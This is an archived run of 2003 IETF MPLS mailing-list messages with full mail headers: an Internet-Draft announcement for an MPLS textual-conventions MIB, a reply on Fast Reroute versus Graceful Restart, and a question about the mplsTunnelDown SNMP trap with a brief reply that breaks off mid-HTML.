	id QQplup04629
	for <mpls@uu.net>; Fri, 24 Oct 2003 14:56:26 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9OEuEN0011888
	for <mpls@uu.net>; Fri, 24 Oct 2003 10:56:14 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADL02149;
	Fri, 24 Oct 2003 10:56:14 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9OEuEY25161 for mpls@uu.net; Fri, 24 Oct 2003 10:56:14 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplup28223
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 24 Oct 2003 14:55:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplup16438
	for <mpls@uu.net>; Fri, 24 Oct 2003 14:50:50 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplup15785
	for <mpls@uu.net>; Fri, 24 Oct 2003 14:50:50 GMT
Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQplup15646
	for <mpls@uu.net>; Fri, 24 Oct 2003 14:50:43 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05215;
	Fri, 24 Oct 2003 10:50:31 -0400 (EDT)
Message-Id: <200310241450.KAA05215@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-tc-mib-10.txt
Date: Fri, 24 Oct 2003 10:50:30 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Definitions of Textual Conventions for Multiprotocol Label Switching (MPLS) Management
	Author(s)	: T. Nadeau, J. Cucchiara
	Filename	: draft-ietf-mpls-tc-mib-10.txt
	Pages		: 23
	Date		: 2003-10-23
	
This memo defines a Management Information Base (MIB) module which
contains Textual Conventions to represent commonly used Mulitprotocol
Label Switching (MPLS) management information. The intent is that
these TEXTUAL CONVENTIONS (TCs) will be imported and used in MPLS
related MIB modules that would otherwise define their own
representations.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-tc-mib-10.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-tc-mib-10.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-tc-mib-10.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-24103622.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-tc-mib-10.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-tc-mib-10.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-24103622.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Fri Oct 24 14:57:43 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA23098
	for <mpls-archive@lists.ietf.org>; Fri, 24 Oct 2003 14:57:43 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplvf02449
	for <mpls-archive@lists.ietf.org>; Fri, 24 Oct 2003 18:57:52 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplvf02256;
	Fri, 24 Oct 2003 18:57:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplve05085
	for mpls-outgoing; Fri, 24 Oct 2003 18:42:14 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplve05078
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 24 Oct 2003 18:42:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplve07485
	for <mpls@UU.NET>; Fri, 24 Oct 2003 18:39:52 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplve00364
	for <mpls@UU.NET>; Fri, 24 Oct 2003 18:39:51 GMT
Received: from kummer.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint2.juniper.net [207.17.136.150])
	id QQplve00334
	for <mpls@UU.NET>; Fri, 24 Oct 2003 18:39:50 GMT
Received: from kummer.juniper.net (localhost [127.0.0.1])
	by kummer.juniper.net (8.12.8p1/8.12.3) with ESMTP id h9OIdl9r029462;
	Fri, 24 Oct 2003 11:39:47 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: from localhost (kireeti@localhost)
	by kummer.juniper.net (8.12.8p1/8.12.3/Submit) with ESMTP id h9OIdiF4029459;
	Fri, 24 Oct 2003 11:39:44 -0700 (PDT)
X-Authentication-Warning: kummer.juniper.net: kireeti owned process doing -bs
Date: Fri, 24 Oct 2003 11:39:44 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
To: Nic Neate <Nic.Neate@dataconnection.com>
cc: "'mpls@uu.net'" <mpls@UU.NET>, "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F8028706FA@baker.datcon.co.uk>
Message-ID: <20031024095023.O29080@kummer.juniper.net>
References: <53F74F5A7B94D511841C00B0D0AB16F8028706FA@baker.datcon.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Nic,

On Wed, 22 Oct 2003, Nic Neate wrote:

> Together with some colleagues at Data Connection, I have done some work
> looking at how GMPLS Restart could work with RSVP Fast Reroute LSPs.

FRR and GR solve *very* different problems: the first is for link or
node failures where the data plane is affected, the second for control
plane failures (a special subset of node failures).

Could you explain the problem you see here?

Kireeti.


From owner-mpls@UU.NET  Sun Oct 26 05:43:56 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA14126
	for <mpls-archive@lists.ietf.org>; Sun, 26 Oct 2003 05:43:56 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmbi05670
	for <mpls-archive@lists.ietf.org>; Sun, 26 Oct 2003 10:44:07 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmbi05362;
	Sun, 26 Oct 2003 10:43:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmbh15901
	for mpls-outgoing; Sun, 26 Oct 2003 10:25:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmbh15896
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 26 Oct 2003 10:25:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmbh23700
	for <mpls@uu.net>; Sun, 26 Oct 2003 10:24:12 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmbh16129
	for <mpls@uu.net>; Sun, 26 Oct 2003 10:24:11 GMT
Received: from tiger.seabridge.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQpmbh16107
	for <mpls@uu.net>; Sun, 26 Oct 2003 10:24:09 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDD3P0>; Sun, 26 Oct 2003 12:24:22 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D07F@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'cheenu@bloomberg.net'" <cheenu@bloomberg.net>,
        "'arunv@force10networks.com'" <arunv@force10networks.com>,
        "'tnadeau@cisco.com'" <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: mplsTunnelDown Trap
Date: Sun, 26 Oct 2003 12:24:22 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C39BAB.52A16E50"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C39BAB.52A16E50
Content-Type: text/plain;
	charset="windows-1255"

Hi,
I have a question regarding the mplsTunnelDown Trap. The objects that are
defined for the Trap are as follows:
        mplsTunnelDown NOTIFICATION-TYPE
           OBJECTS     {
              mplsTunnelAdminStatus,
              mplsTunnelOperStatus
           }
STATUS      current
   DESCRIPTION
        "This notification is generated when a mplsTunnelOperStatus object
for one of the
configured tunnels is about to enter the down state from some other state
(but not from the notPresent        state).  This other state is indicated
by the
          included value of mplsTunnelOperStatus."
   ::= { mplsTeNotifications 2 }
 
There is no indication (also no in the mplsTunnleTable) on the cause to the
error. 
The PathErr messages contain details on the cause to the error (error code
and error value). 
 
How can this information be exposed to the administrator?
 
Thanks, Nurit.

------_=_NextPart_001_01C39BAB.52A16E50
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dwindows-1255">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C39BBC.16141E40">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:Arial;
	mso-fareast-font-family:"Times New Roman";}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:Arial;
	mso-fareast-font-family:"Times New Roman";}
pre
	{margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Courier New";
	mso-fareast-font-family:"Courier New";}
span.EmailStyle15
	{mso-style-type:personal-compose;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:black;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
</head>

<body lang=3DEN-US style=3D'tab-interval:36.0pt'>

<div class=3DSection1><pre><font size=3D2 color=3Dblack face=3D"Courier =
New"><span
style=3D'font-size:10.0pt;color:black'>Hi,</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'>I have a question regarding the =
mplsTunnelDown Trap. The objects that are defined for the Trap are as =
follows:</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>mplsTunnelDown NOTIFICATION-TYPE</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</span>OBJECTS<span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>mplsTunnelAdminStatus,</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>mplsTunnelOperStatus</span></font><font
color=3Dblack><span style=3D'color:black;mso-color-alt:windowtext'><o:p>=
</o:p></span></font></pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'><span
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</span>}</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:72.0pt'><font size=3D2 color=3Dblack =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;color:black'>STATUS<span =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>current</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:72.0pt'><font size=3D2 color=3Dblack =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;color:black'><span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp; </span>DESCRIPTION</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:72.0pt'><font size=3D2 color=3Dblack =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;color:black'><span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&quot;This =
notification is generated when a mplsTunnelOperStatus object for one of =
the</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:137.4pt'><font size=3D2 color=3Dblack =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;color:black'>configured tunnels is about to =
enter the down state from some other state (but not from the =
notPresent<span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>state).<span =
style=3D"mso-spacerun: yes">&nbsp; </span>This other state is indicated =
by the</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:72.0pt'><font size=3D2 color=3Dblack =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;color:black'><span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>included value of mplsTunnelOperStatus.&quot;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:72.0pt'><font size=3D2 color=3Dblack =
face=3D"Courier New"><span
style=3D'font-size:10.0pt;color:black'><span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp; </span>::=3D { mplsTeNotifications 2 =
}</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre><font
size=3D2 color=3Dblack face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;color:black'>There is no indication (also no in the =
mplsTunnleTable) on
the cause to the error. </span></font><font color=3Dblack><span =
style=3D'color:
black;mso-color-alt:windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;color:black'>The PathErr messages contain details on the cause =
to the
error (error code and error value). </span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;color:black'>How can this information be exposed to the =
administrator?</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;color:black'>Thanks, Nurit.<span class=3DEmailStyle15><font =
color=3Dblack><o:p></o:p></font></span></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C39BAB.52A16E50--


From owner-mpls@UU.NET  Sun Oct 26 17:49:54 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02696
	for <mpls-archive@lists.ietf.org>; Sun, 26 Oct 2003 17:49:53 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmdf20284
	for <mpls-archive@lists.ietf.org>; Sun, 26 Oct 2003 22:50:04 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmdf19996;
	Sun, 26 Oct 2003 22:49:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmdd08197
	for mpls-outgoing; Sun, 26 Oct 2003 22:29:12 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmdd08192
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 26 Oct 2003 22:29:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmdd10455
	for <mpls@UU.NET>; Sun, 26 Oct 2003 22:26:06 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmdd28946
	for <mpls@UU.NET>; Sun, 26 Oct 2003 22:26:05 GMT
Received: from relay0.netfirms.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: m0.netfirms.com [209.171.43.51])
	id QQpmdd28907
	for <mpls@UU.NET>; Sun, 26 Oct 2003 22:26:04 GMT
Received: (qmail 49342 invoked from network); 26 Oct 2003 22:25:59 -0000
Received: from du-069-0996.access.clara.net (HELO Puppy) (217.158.170.233)
  by 0 with SMTP; 26 Oct 2003 22:25:59 -0000
Message-ID: <008c01c39c10$2e89abd0$e9aa9ed9@Puppy>
Reply-To: "Adrian Farrel" <adrian@olddog.co.uk>
From: "Adrian Farrel" <adrian@olddog.co.uk>
To: "Nurit Sprecher" <nurit.sprecher@SeabridgeNetworks.com>,
        <cheenu@bloomberg.net>, <arunv@force10networks.com>,
        <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
References: <C87E5A01714C7840B92CDED9E79329CA0117D07F@leopard.seabridge.co.il>
Subject: Re: mplsTunnelDown Trap
Date: Sun, 26 Oct 2003 22:26:11 -0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0089_01C39C10.28DDF330"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0089_01C39C10.28DDF330
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

Please see the work we are doing on the 'next generation' of these MIBs =
in the CCAMP WG.

Cheers,
Adrian
  ----- Original Message -----=20
  From: Nurit Sprecher=20
  To: 'cheenu@bloomberg.net' ; 'arunv@force10networks.com' ; =
'tnadeau@cisco.com'=20
  Cc: 'mpls@uu.net'=20
  Sent: Sunday, October 26, 2003 10:24 AM
  Subject: mplsTunnelDown Trap


Hi,I have a question regarding the mplsTunnelDown Trap. The objects that =
are defined for the Trap are as follows:        mplsTunnelDown =
NOTIFICATION-TYPE           OBJECTS     {              =
mplsTunnelAdminStatus,              mplsTunnelOperStatus           =
}STATUS      current   DESCRIPTION        "This notification is =
generated when a mplsTunnelOperStatus object for one of theconfigured =
tunnels is about to enter the down state from some other state (but not =
from the notPresent        state).  This other state is indicated by the =
         included value of mplsTunnelOperStatus."   ::=3D { =
mplsTeNotifications 2 } There is no indication (also no in the =
mplsTunnleTable) on the cause to the error.=20

  The PathErr messages contain details on the cause to the error (error =
code and error value).=20

  =20

  How can this information be exposed to the administrator?

  =20

  Thanks, Nurit.

------=_NextPart_000_0089_01C39C10.28DDF330
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns=3D"http://www.w3.org/TR/REC-html40" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office" xmlns:w =3D=20
"urn:schemas-microsoft-com:office:word"><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1255">
<META content=3DWord.Document name=3DProgId>
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<META content=3D"Microsoft Word 9" name=3DOriginator><LINK=20
href=3D"cid:filelist.xml@01C39BBC.16141E40" rel=3DFile-List><!--[if gte =
mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<STYLE>@page Section1 {size: 595.3pt 841.9pt; margin: 72.0pt 90.0pt =
72.0pt 90.0pt; mso-header-margin: 35.4pt; mso-footer-margin: 35.4pt; =
mso-paper-source: 0; }
P.MsoNormal {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
LI.MsoNormal {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
DIV.MsoNormal {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
P.MsoAutoSig {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
LI.MsoAutoSig {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
DIV.MsoAutoSig {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
PRE {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Courier New"; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Courier New"
}
SPAN.EmailStyle15 {
	COLOR: black; mso-style-type: personal-compose; mso-ansi-font-size: =
10.0pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; =
mso-bidi-font-family: Arial
}
DIV.Section1 {
	page: Section1
}
</STYLE>
</HEAD>
<BODY lang=3DEN-US style=3D"tab-interval: 36.0pt" bgColor=3D#ffffff>
<DIV><FONT size=3D2>Please see the work we are doing on the 'next =
generation' of=20
these MIBs in the CCAMP WG.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Cheers,</FONT></DIV>
<DIV><FONT size=3D2>Adrian</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dnurit.sprecher@SeabridgeNetworks.com=20
  href=3D"mailto:nurit.sprecher@SeabridgeNetworks.com">Nurit =
